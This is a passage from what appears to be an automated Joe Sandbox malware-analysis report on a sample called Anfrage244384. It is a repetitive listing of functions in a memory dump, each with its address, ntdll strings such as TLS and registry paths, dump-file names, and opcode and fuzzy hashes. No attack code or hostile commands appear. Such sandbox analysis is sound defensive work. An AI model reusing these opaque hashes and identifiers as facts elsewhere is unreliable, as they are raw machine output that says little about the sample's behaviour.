                                                        • minkernel\ntdll\ldrtls.c, xrefs: 34DF1B4A
                                                        • LdrpAllocateTls, xrefs: 34DF1B40
                                                        Memory Dump Source
                                                        • Source File: 00000003.00000002.3110255884.0000000034D50000.00000040.00001000.00020000.00000000.sdmp, Offset: 34D50000, based on PE: true
                                                        • Associated: 00000003.00000002.3110255884.0000000034E79000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000003.00000002.3110255884.0000000034E7D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000003.00000002.3110255884.0000000034EEE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_3_2_34d50000_Anfrage244384.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID: LdrpAllocateTls$TlsVector %p Index %d : %d bytes copied from %p to %p$minkernel\ntdll\ldrtls.c
                                                        • API String ID: 0-4274184382
                                                        • Opcode ID: 252dcacba9a4fcd32e1ce23e34e5f5f1981943d810423a5c1537f4be75442b3b
                                                        • Instruction ID: cf9594ab22bdfb52cc12f8d0934bc94a0309012a78b0daebeea5b79315620de2
                                                        • Opcode Fuzzy Hash: 252dcacba9a4fcd32e1ce23e34e5f5f1981943d810423a5c1537f4be75442b3b
                                                        • Instruction Fuzzy Hash: 714168B5A00609EFEB15CFA8CC40BAEBBF5FF48354F518119E406A7610EB75A801CFA0
                                                        Function 34DB33A0 Relevance: 3.9, Strings: 3, Instructions: 111COMMON
                                                        Download Yara Rule
                                                        Strings
                                                        • Actx , xrefs: 34DB33AC
                                                        • SXS: %s() passed the empty activation context data, xrefs: 34DF29FE
                                                        • RtlCreateActivationContext, xrefs: 34DF29F9
                                                        Memory Dump Source
                                                        • Source File: 00000003.00000002.3110255884.0000000034D50000.00000040.00001000.00020000.00000000.sdmp, Offset: 34D50000, based on PE: true
                                                        • Associated: 00000003.00000002.3110255884.0000000034E79000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000003.00000002.3110255884.0000000034E7D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000003.00000002.3110255884.0000000034EEE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_3_2_34d50000_Anfrage244384.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID: Actx $RtlCreateActivationContext$SXS: %s() passed the empty activation context data
                                                        • API String ID: 0-859632880
                                                        • Opcode ID: 93e9e292438ac94a98e82d9f34f2bd4b010ffee94a5f4446767d9d04faa0dbff
                                                        • Instruction ID: 417ee1590ff1b48ecc954c4288b7f8017e0a58a095a3f312a12ad748a36e6424
                                                        • Opcode Fuzzy Hash: 93e9e292438ac94a98e82d9f34f2bd4b010ffee94a5f4446767d9d04faa0dbff
                                                        • Instruction Fuzzy Hash: 94310132640305DFEF22CEA8DC90B9637A4FB44764F514469EC459F685CBB6E845CBA0
                                                        Function 34E0B594 Relevance: 3.9, Strings: 3, Instructions: 107COMMON
                                                        Download Yara Rule
                                                        Strings
                                                        • GlobalFlag, xrefs: 34E0B68F
                                                        • \Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\, xrefs: 34E0B632
                                                        • @, xrefs: 34E0B670
                                                        Memory Dump Source
                                                        • Source File: 00000003.00000002.3110255884.0000000034D50000.00000040.00001000.00020000.00000000.sdmp, Offset: 34D50000, based on PE: true
                                                        • Associated: 00000003.00000002.3110255884.0000000034E79000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000003.00000002.3110255884.0000000034E7D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000003.00000002.3110255884.0000000034EEE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_3_2_34d50000_Anfrage244384.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID: @$GlobalFlag$\Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\
                                                        • API String ID: 0-4192008846
                                                        • Opcode ID: 704de17db939f1e649b05a3dc7ba1098e3022c9f78fb0513695eeb370206dc76
                                                        • Instruction ID: 1d59b1af0f70f3bd245e019deb57a1eed951b2f411bd6bbc4e1c8a4e57d4a1ae
                                                        • Opcode Fuzzy Hash: 704de17db939f1e649b05a3dc7ba1098e3022c9f78fb0513695eeb370206dc76
                                                        • Instruction Fuzzy Hash: B33127B5E00209AFEB10DFA5DC80AEEBBBCEF44748F544869E615A7250D7749E048FA4
                                                        Function 34E213B9 Relevance: 3.9, Strings: 3, Instructions: 101COMMON
                                                        Download Yara Rule
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000003.00000002.3110255884.0000000034D50000.00000040.00001000.00020000.00000000.sdmp, Offset: 34D50000, based on PE: true
                                                        • Associated: 00000003.00000002.3110255884.0000000034E79000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000003.00000002.3110255884.0000000034E7D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000003.00000002.3110255884.0000000034EEE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_3_2_34d50000_Anfrage244384.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID: @$OsBootstatPath$\REGISTRY\MACHINE\SYSTEM\CurrentControlSet\Control
                                                        • API String ID: 0-1050206962
                                                        • Opcode ID: e75c5eeb1149d41887506b2a68ad07d1036f6c7986a551b0d6b9c0ea91682a58
                                                        • Instruction ID: 4f90dbd042bd8c0eeea08a2780bddb7fe872d42f55a4cf523b6a35b426045210
                                                        • Opcode Fuzzy Hash: e75c5eeb1149d41887506b2a68ad07d1036f6c7986a551b0d6b9c0ea91682a58
                                                        • Instruction Fuzzy Hash: 09315C76E00A19EFEB11DF94CC94EAEFBBDEB44658F454465E904A7210D734DE048BA0
                                                        Function 34DB1607 Relevance: 3.8, Strings: 3, Instructions: 98COMMON
                                                        Download Yara Rule
                                                        Strings
                                                        • DLL "%wZ" has TLS information at %p, xrefs: 34DF1A40
                                                        • minkernel\ntdll\ldrtls.c, xrefs: 34DF1A51
                                                        • LdrpInitializeTls, xrefs: 34DF1A47
                                                        Memory Dump Source
                                                        • Source File: 00000003.00000002.3110255884.0000000034D50000.00000040.00001000.00020000.00000000.sdmp, Offset: 34D50000, based on PE: true
                                                        • Associated: 00000003.00000002.3110255884.0000000034E79000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000003.00000002.3110255884.0000000034E7D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000003.00000002.3110255884.0000000034EEE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_3_2_34d50000_Anfrage244384.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID: DLL "%wZ" has TLS information at %p$LdrpInitializeTls$minkernel\ntdll\ldrtls.c
                                                        • API String ID: 0-931879808
                                                        • Opcode ID: 346f739b566111129067c26dc04722634c638be30661a35b3968dd380e8ab0da
                                                        • Instruction ID: 150ac664c2ec0ee2eab119210c5616f9c17b2f2d14693cb1392f40398c12af86
                                                        • Opcode Fuzzy Hash: 346f739b566111129067c26dc04722634c638be30661a35b3968dd380e8ab0da
                                                        • Instruction Fuzzy Hash: 9D31B171A00304EFFB10CB54CC85F9E7BA8FB457A5F450159E587B7580DB70AD458BA4
                                                        Function 34DC1270 Relevance: 3.8, Strings: 3, Instructions: 97COMMON
                                                        Download Yara Rule
                                                        Strings
                                                        • \Registry\Machine\SOFTWARE\Microsoft\Windows NT\CurrentVersion, xrefs: 34DC127B
                                                        • @, xrefs: 34DC12A5
                                                        • BuildLabEx, xrefs: 34DC130F
                                                        Memory Dump Source
                                                        • Source File: 00000003.00000002.3110255884.0000000034D50000.00000040.00001000.00020000.00000000.sdmp, Offset: 34D50000, based on PE: true
                                                        • Associated: 00000003.00000002.3110255884.0000000034E79000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000003.00000002.3110255884.0000000034E7D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000003.00000002.3110255884.0000000034EEE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_3_2_34d50000_Anfrage244384.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID: @$BuildLabEx$\Registry\Machine\SOFTWARE\Microsoft\Windows NT\CurrentVersion
                                                        • API String ID: 0-3051831665
                                                        • Opcode ID: 4dd0507e6de23adeaafdd13239ae3a95ee5485203228978708ef77071a5cdf2e
                                                        • Instruction ID: 48deb2d14fe272bda2296e3f7cf0fa687e94055e7af1d1b1dd77e69a46a0c9f9
                                                        • Opcode Fuzzy Hash: 4dd0507e6de23adeaafdd13239ae3a95ee5485203228978708ef77071a5cdf2e
                                                        • Instruction Fuzzy Hash: 943181B2E00629EFEF12DF95CD44EDEBBBDEB84754F004025E514A7160EB319E058BA0
                                                        Function 34D774B0 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 117timeCOMMON
                                                        Download Yara Rule
                                                        APIs
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000003.00000002.3110255884.0000000034D50000.00000040.00001000.00020000.00000000.sdmp, Offset: 34D50000, based on PE: true
                                                        • Associated: 00000003.00000002.3110255884.0000000034E79000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000003.00000002.3110255884.0000000034E7D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000003.00000002.3110255884.0000000034EEE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_3_2_34d50000_Anfrage244384.jbxd
                                                        Similarity
                                                        • API ID: DebugPrintTimes
                                                        • String ID: RtlValidateHeap
                                                        • API String ID: 3446177414-1797218451
                                                        • Opcode ID: 578e119d34f3ef5a0604eeaf22ccc4199ae4e3d483a2b16dd76984003de379b9
                                                        • Instruction ID: 2b93ff3102c889317fa86d976945820c19565f04397da94f80d7a0527908fafa
                                                        • Opcode Fuzzy Hash: 578e119d34f3ef5a0604eeaf22ccc4199ae4e3d483a2b16dd76984003de379b9
                                                        • Instruction Fuzzy Hash: F441D276B01345DFEF02CF68C4947AEBBB6FF46650F048A99D451AB390CB34A905DBA0
                                                        Function 34E2705E Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 112timeCOMMON
                                                        Download Yara Rule
                                                        APIs
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000003.00000002.3110255884.0000000034D50000.00000040.00001000.00020000.00000000.sdmp, Offset: 34D50000, based on PE: true
                                                        • Associated: 00000003.00000002.3110255884.0000000034E79000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000003.00000002.3110255884.0000000034E7D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000003.00000002.3110255884.0000000034EEE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_3_2_34d50000_Anfrage244384.jbxd
                                                        Similarity
                                                        • API ID: DebugPrintTimes
                                                        • String ID: kLsE
                                                        • API String ID: 3446177414-3058123920
                                                        • Opcode ID: 4e7cde7af2d7b8b4b6d7aba6df4d8da4748a950617fe3223fc44c53b39c3d033
                                                        • Instruction ID: 84c57252ae9e0b69c2b9cce0a711d2a980358df87f1a9d1104d7d996d09903d9
                                                        • Opcode Fuzzy Hash: 4e7cde7af2d7b8b4b6d7aba6df4d8da4748a950617fe3223fc44c53b39c3d033
                                                        • Instruction Fuzzy Hash: A2412272511340CEF711EBB0C885B693FA0EB40B7DF50065DED90AA1EACB744887DBA9
                                                        Function 34D952A0 Relevance: 3.2, Strings: 2, Instructions: 658COMMON
                                                        Download Yara Rule
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000003.00000002.3110255884.0000000034D50000.00000040.00001000.00020000.00000000.sdmp, Offset: 34D50000, based on PE: true
                                                        • Associated: 00000003.00000002.3110255884.0000000034E79000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000003.00000002.3110255884.0000000034E7D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000003.00000002.3110255884.0000000034EEE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_3_2_34d50000_Anfrage244384.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID: @$@
                                                        • API String ID: 0-149943524
                                                        • Opcode ID: c62dfe7afc9c3bb5daffdd497b791d275c6c2a6026c21f3f68325051dea6433c
                                                        • Instruction ID: 20c3a7344886a7f836ee1111add222b0a97f2eea53bba739ee76f41eaa2ccd43
                                                        • Opcode Fuzzy Hash: c62dfe7afc9c3bb5daffdd497b791d275c6c2a6026c21f3f68325051dea6433c
                                                        • Instruction Fuzzy Hash: C132ACB66083118BD754CF15C4A07BEB7E5BF89784F90492EF985CB2A0E734D984CB52
                                                        Function 34D85702 Relevance: 3.1, APIs: 2, Instructions: 104timeCOMMON
                                                        Download Yara Rule
                                                        APIs
                                                        Memory Dump Source
                                                        • Source File: 00000003.00000002.3110255884.0000000034D50000.00000040.00001000.00020000.00000000.sdmp, Offset: 34D50000, based on PE: true
                                                        • Associated: 00000003.00000002.3110255884.0000000034E79000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000003.00000002.3110255884.0000000034E7D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000003.00000002.3110255884.0000000034EEE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_3_2_34d50000_Anfrage244384.jbxd
                                                        Similarity
                                                        • API ID: DebugPrintTimes
                                                        • String ID:
                                                        • API String ID: 3446177414-0
                                                        • Opcode ID: 2cf15e4f66d9d7c483c2c35e098e358d65408246d09fee9665db89c4b83366c8
                                                        • Instruction ID: 5f78b999ad90e6859bcba90abc767fc008f8714754db7eb8bdb8a7243c460b52
                                                        • Opcode Fuzzy Hash: 2cf15e4f66d9d7c483c2c35e098e358d65408246d09fee9665db89c4b83366c8
                                                        • Instruction Fuzzy Hash: EA31B035301B16EFE7869F60CE90AA9FBA9FF44754F409125E94187A50DB74E831CBD0
                                                        Function 34DB5CC0 Relevance: 2.7, Strings: 2, Instructions: 241COMMON
                                                        Download Yara Rule
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000003.00000002.3110255884.0000000034D50000.00000040.00001000.00020000.00000000.sdmp, Offset: 34D50000, based on PE: true
                                                        • Associated: 00000003.00000002.3110255884.0000000034E79000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000003.00000002.3110255884.0000000034E7D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000003.00000002.3110255884.0000000034EEE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_3_2_34d50000_Anfrage244384.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID: @$TargetPath
                                                        • API String ID: 0-4164548946
                                                        • Opcode ID: b203a13996ede5d9a094cda72a6ddbebf517fe4c564ecc40fda12fbd523a9a9d
                                                        • Instruction ID: c494f953ea16fc07727eada5d33e86810c743bef5efbe94055d1e9fa08a8283a
                                                        • Opcode Fuzzy Hash: b203a13996ede5d9a094cda72a6ddbebf517fe4c564ecc40fda12fbd523a9a9d
                                                        • Instruction Fuzzy Hash: 9881F375A04306DFEB21CF14CC94A5BB7A8FF84758F424A2DE9869B610D732DC45CB92
                                                        Function 34E0BC10 Relevance: 2.7, Strings: 2, Instructions: 234COMMON
                                                        Download Yara Rule
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000003.00000002.3110255884.0000000034D50000.00000040.00001000.00020000.00000000.sdmp, Offset: 34D50000, based on PE: true
                                                        • Associated: 00000003.00000002.3110255884.0000000034E79000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000003.00000002.3110255884.0000000034E7D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000003.00000002.3110255884.0000000034EEE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_3_2_34d50000_Anfrage244384.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID: \REGISTRY\USER\$\Software\Microsoft\Windows
                                                        • API String ID: 0-4122831824
                                                        • Opcode ID: adbb33c0aefe64681a6cca107dc71755165da4e5cbfec777fd71ec46216c9ce3
                                                        • Instruction ID: 61dcb7be1415d8c174100ca7383d363e541914521c95dd658e714ea60c128a1c
                                                        • Opcode Fuzzy Hash: adbb33c0aefe64681a6cca107dc71755165da4e5cbfec777fd71ec46216c9ce3
                                                        • Instruction Fuzzy Hash: E591AE756147069FD310CF65C880B6BB7E4FB88368F208A2DE5A5DB290EB34D946CF52
                                                        Function 34E15DA0 Relevance: 2.7, Strings: 2, Instructions: 201COMMON
                                                        Download Yara Rule
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000003.00000002.3110255884.0000000034D50000.00000040.00001000.00020000.00000000.sdmp, Offset: 34D50000, based on PE: true
                                                        • Associated: 00000003.00000002.3110255884.0000000034E79000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000003.00000002.3110255884.0000000034E7D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000003.00000002.3110255884.0000000034EEE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_3_2_34d50000_Anfrage244384.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID: Log$RXACT
                                                        • API String ID: 0-2401810139
                                                        • Opcode ID: c1186d1459ae7d98b544fd683d65a47e2a22dbd49266391dcd9cfe11cda4b408
                                                        • Instruction ID: ff745c96965ea8c67d5f10a1c65ee392c142d8432751ba6a22903576eb53a3e9
                                                        • Opcode Fuzzy Hash: c1186d1459ae7d98b544fd683d65a47e2a22dbd49266391dcd9cfe11cda4b408
                                                        • Instruction Fuzzy Hash: 06714971648345EFE711CF64C880E6BBBEDFB88698F40492EF55497220DB31DD048BA2
                                                        Function 34D77CD5 Relevance: 2.7, Strings: 2, Instructions: 160COMMON
                                                        Download Yara Rule
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000003.00000002.3110255884.0000000034D50000.00000040.00001000.00020000.00000000.sdmp, Offset: 34D50000, based on PE: true
                                                        • Associated: 00000003.00000002.3110255884.0000000034E79000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000003.00000002.3110255884.0000000034E7D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000003.00000002.3110255884.0000000034EEE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_3_2_34d50000_Anfrage244384.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID: @[4$@[4@[4
                                                        • API String ID: 0-918756679
                                                        • Opcode ID: 7fcc88fab86a383869fe288ebfb9dee20ddb9c3fe80fce97edceaad86c6bc605
                                                        • Instruction ID: 3a249e5d7e715ff7ba3ac3ce5ddc28dc716f207ac9f50e4a2c33aeb9c9072c1f
                                                        • Opcode Fuzzy Hash: 7fcc88fab86a383869fe288ebfb9dee20ddb9c3fe80fce97edceaad86c6bc605
                                                        • Instruction Fuzzy Hash: 2D51B971204742EFE721CF64C840B6BBBE8FF85668F00481EE49487660EB34E845CBA2
                                                        Function 34D9F720 Relevance: 2.7, Strings: 2, Instructions: 159COMMON
                                                        Download Yara Rule
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000003.00000002.3110255884.0000000034D50000.00000040.00001000.00020000.00000000.sdmp, Offset: 34D50000, based on PE: true
                                                        • Associated: 00000003.00000002.3110255884.0000000034E79000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000003.00000002.3110255884.0000000034E7D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000003.00000002.3110255884.0000000034EEE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_3_2_34d50000_Anfrage244384.jbxd
                                                        Similarity
                                                        • API ID: DebugPrintTimes
                                                        • String ID: $$$
                                                        • API String ID: 3446177414-233714265
                                                        • Opcode ID: 2239ad3cf1973e54c057ce8017d4e706e63230c54792b5dc0b8e4ec8aea57ce3
                                                        • Instruction ID: 209fa3e317b0a4c1f252ce902715cb6f598a79c799982e0c6c254019bca5f491
                                                        • Opcode Fuzzy Hash: 2239ad3cf1973e54c057ce8017d4e706e63230c54792b5dc0b8e4ec8aea57ce3
                                                        • Instruction Fuzzy Hash: 2A6172B5A0174ADFEB20CFA4C580BEDBBF1BB48718F10446DD555AB680DB74A981CBA0
                                                        Function 34E135BA Relevance: 2.6, Strings: 2, Instructions: 99COMMON
                                                        Download Yara Rule
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000003.00000002.3110255884.0000000034D50000.00000040.00001000.00020000.00000000.sdmp, Offset: 34D50000, based on PE: true
                                                        • Associated: 00000003.00000002.3110255884.0000000034E79000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000003.00000002.3110255884.0000000034E7D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000003.00000002.3110255884.0000000034EEE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_3_2_34d50000_Anfrage244384.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID: LdrResGetRCConfig Enter$LdrResGetRCConfig Exit
                                                        • API String ID: 0-118005554
                                                        • Opcode ID: dad6ae1a7a77f43a0533c27e210ccb58309c730808f15d9240f2671aee0d91b7
                                                        • Instruction ID: a7e350373556c7be42b53f810cce6a90d9a6e784fcc2168b73d4f761b40d10bc
                                                        • Opcode Fuzzy Hash: dad6ae1a7a77f43a0533c27e210ccb58309c730808f15d9240f2671aee0d91b7
                                                        • Instruction Fuzzy Hash: 95319A752487419FE312CB68D854B2AB7E4EF89754F04096DF894CB390EB74D905CBA2
                                                        Function 34DB329E Relevance: 2.6, Strings: 2, Instructions: 93COMMON
                                                        Download Yara Rule
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000003.00000002.3110255884.0000000034D50000.00000040.00001000.00020000.00000000.sdmp, Offset: 34D50000, based on PE: true
                                                        • Associated: 00000003.00000002.3110255884.0000000034E79000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000003.00000002.3110255884.0000000034E7D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000003.00000002.3110255884.0000000034EEE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_3_2_34d50000_Anfrage244384.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID: .Local\$@
                                                        • API String ID: 0-380025441
                                                        • Opcode ID: 2142d1181874488128dd9d414b26750c9a31c92f3732de0c57efc7a444edf082
                                                        • Instruction ID: 16f1ea64390542e3d07fff080a5cb5cbcdb4accf67f61b6aeec44dc23aeed95a
                                                        • Opcode Fuzzy Hash: 2142d1181874488128dd9d414b26750c9a31c92f3732de0c57efc7a444edf082
                                                        • Instruction Fuzzy Hash: 4F31A4B6608704DFEB11CF28C880A5BBBE8FB85654F40092EF5D583710DA71DD04DB92
                                                        Function 34DB34B0 Relevance: 2.6, Strings: 2, Instructions: 66COMMON
                                                        Download Yara Rule
                                                        Strings
                                                        • RtlpInitializeAssemblyStorageMap, xrefs: 34DF2A90
                                                        • SXS: %s() bad parameters:SXS: Map : 0x%pSXS: EntryCount : 0x%lx, xrefs: 34DF2A95
                                                        Memory Dump Source
                                                        • Source File: 00000003.00000002.3110255884.0000000034D50000.00000040.00001000.00020000.00000000.sdmp, Offset: 34D50000, based on PE: true
                                                        • Associated: 00000003.00000002.3110255884.0000000034E79000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000003.00000002.3110255884.0000000034E7D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000003.00000002.3110255884.0000000034EEE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_3_2_34d50000_Anfrage244384.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID: RtlpInitializeAssemblyStorageMap$SXS: %s() bad parameters:SXS: Map : 0x%pSXS: EntryCount : 0x%lx
                                                        • API String ID: 0-2653619699
                                                        • Opcode ID: 35f099e3193b64dbbb7e240885e43a10143ae41ca09345cba1350297592935c3
                                                        • Instruction ID: 0135cb9c83878c829734299d83d74ce1946fded01c031f62fbb68bc103ec529e
                                                        • Opcode Fuzzy Hash: 35f099e3193b64dbbb7e240885e43a10143ae41ca09345cba1350297592935c3
                                                        • Instruction Fuzzy Hash: 61114CB6B00305FFFB258A898D41F9B76EDAB84B54F15C06D7905EB240D6B6CD009BA0
                                                        Function 34DAB2C0 Relevance: 1.9, Strings: 1, Instructions: 629COMMON
                                                        Download Yara Rule
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000003.00000002.3110255884.0000000034D50000.00000040.00001000.00020000.00000000.sdmp, Offset: 34D50000, based on PE: true
                                                        • Associated: 00000003.00000002.3110255884.0000000034E79000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000003.00000002.3110255884.0000000034E7D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000003.00000002.3110255884.0000000034EEE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_3_2_34d50000_Anfrage244384.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID: @[4@[4
                                                        • API String ID: 0-546834637
                                                        • Opcode ID: c7fa73186644dc10533ac84f0162ddcd06999aed5dfa4f3b1e74f3f3d12fe4fd
                                                        • Instruction ID: 67a9546fecfd3107d52c32171f4cfe7f8c508c42b389600a4c433e10de6ea312
                                                        • Opcode Fuzzy Hash: c7fa73186644dc10533ac84f0162ddcd06999aed5dfa4f3b1e74f3f3d12fe4fd
                                                        • Instruction Fuzzy Hash: 3932AEB6E10219DFDB14CFA8C890BAEBBB5FF44754F18002DE945AB391E7359942CB90
                                                        Function 34D81131 Relevance: 1.8, APIs: 1, Instructions: 259timeCOMMON
                                                        Download Yara Rule
                                                        APIs
                                                        Memory Dump Source
                                                        • Source File: 00000003.00000002.3110255884.0000000034D50000.00000040.00001000.00020000.00000000.sdmp, Offset: 34D50000, based on PE: true
                                                        • Associated: 00000003.00000002.3110255884.0000000034E79000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000003.00000002.3110255884.0000000034E7D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000003.00000002.3110255884.0000000034EEE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_3_2_34d50000_Anfrage244384.jbxd
                                                        Similarity
                                                        • API ID: DebugPrintTimes
                                                        • String ID:
                                                        • API String ID: 3446177414-0
                                                        • Opcode ID: e1ac1f2d41d4735d8842dce6b0c6300d625d0d1f3ece24b123c77fded706204f
                                                        • Instruction ID: 99169b2c5ca5e14444dddcebd722d991cc5a899309561426a11323eaedbdf87f
                                                        • Opcode Fuzzy Hash: e1ac1f2d41d4735d8842dce6b0c6300d625d0d1f3ece24b123c77fded706204f
                                                        • Instruction Fuzzy Hash: 34B110B56083818FE354CF28C890A5ABBF1BF89304F544A6EF899CB352D731E845CB52
                                                        Function 34D87370 Relevance: 1.7, APIs: 1, Instructions: 247COMMON
                                                        Download Yara Rule
                                                        Memory Dump Source
                                                        • Source File: 00000003.00000002.3110255884.0000000034D50000.00000040.00001000.00020000.00000000.sdmp, Offset: 34D50000, based on PE: true
                                                        • Associated: 00000003.00000002.3110255884.0000000034E79000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000003.00000002.3110255884.0000000034E7D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000003.00000002.3110255884.0000000034EEE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_3_2_34d50000_Anfrage244384.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID:
                                                        • API String ID:
                                                        • Opcode ID: d422cb08a88e35880ef5b8109c337680f711057cc539d43503bfb3ceb199170e
                                                        • Instruction ID: 747a93626a5d9eaa463bb23547ef6b6283e8c73f32b6f2c0adb68ac59e6bda06
                                                        • Opcode Fuzzy Hash: d422cb08a88e35880ef5b8109c337680f711057cc539d43503bfb3ceb199170e
                                                        • Instruction Fuzzy Hash: 46A15975608752DFE310CF28C880A2ABBE9FF88754F14496EE5959B350EB30E945CB92
                                                        Function 34D87703 Relevance: 1.7, APIs: 1, Instructions: 179COMMON
                                                        Download Yara Rule
                                                        Memory Dump Source
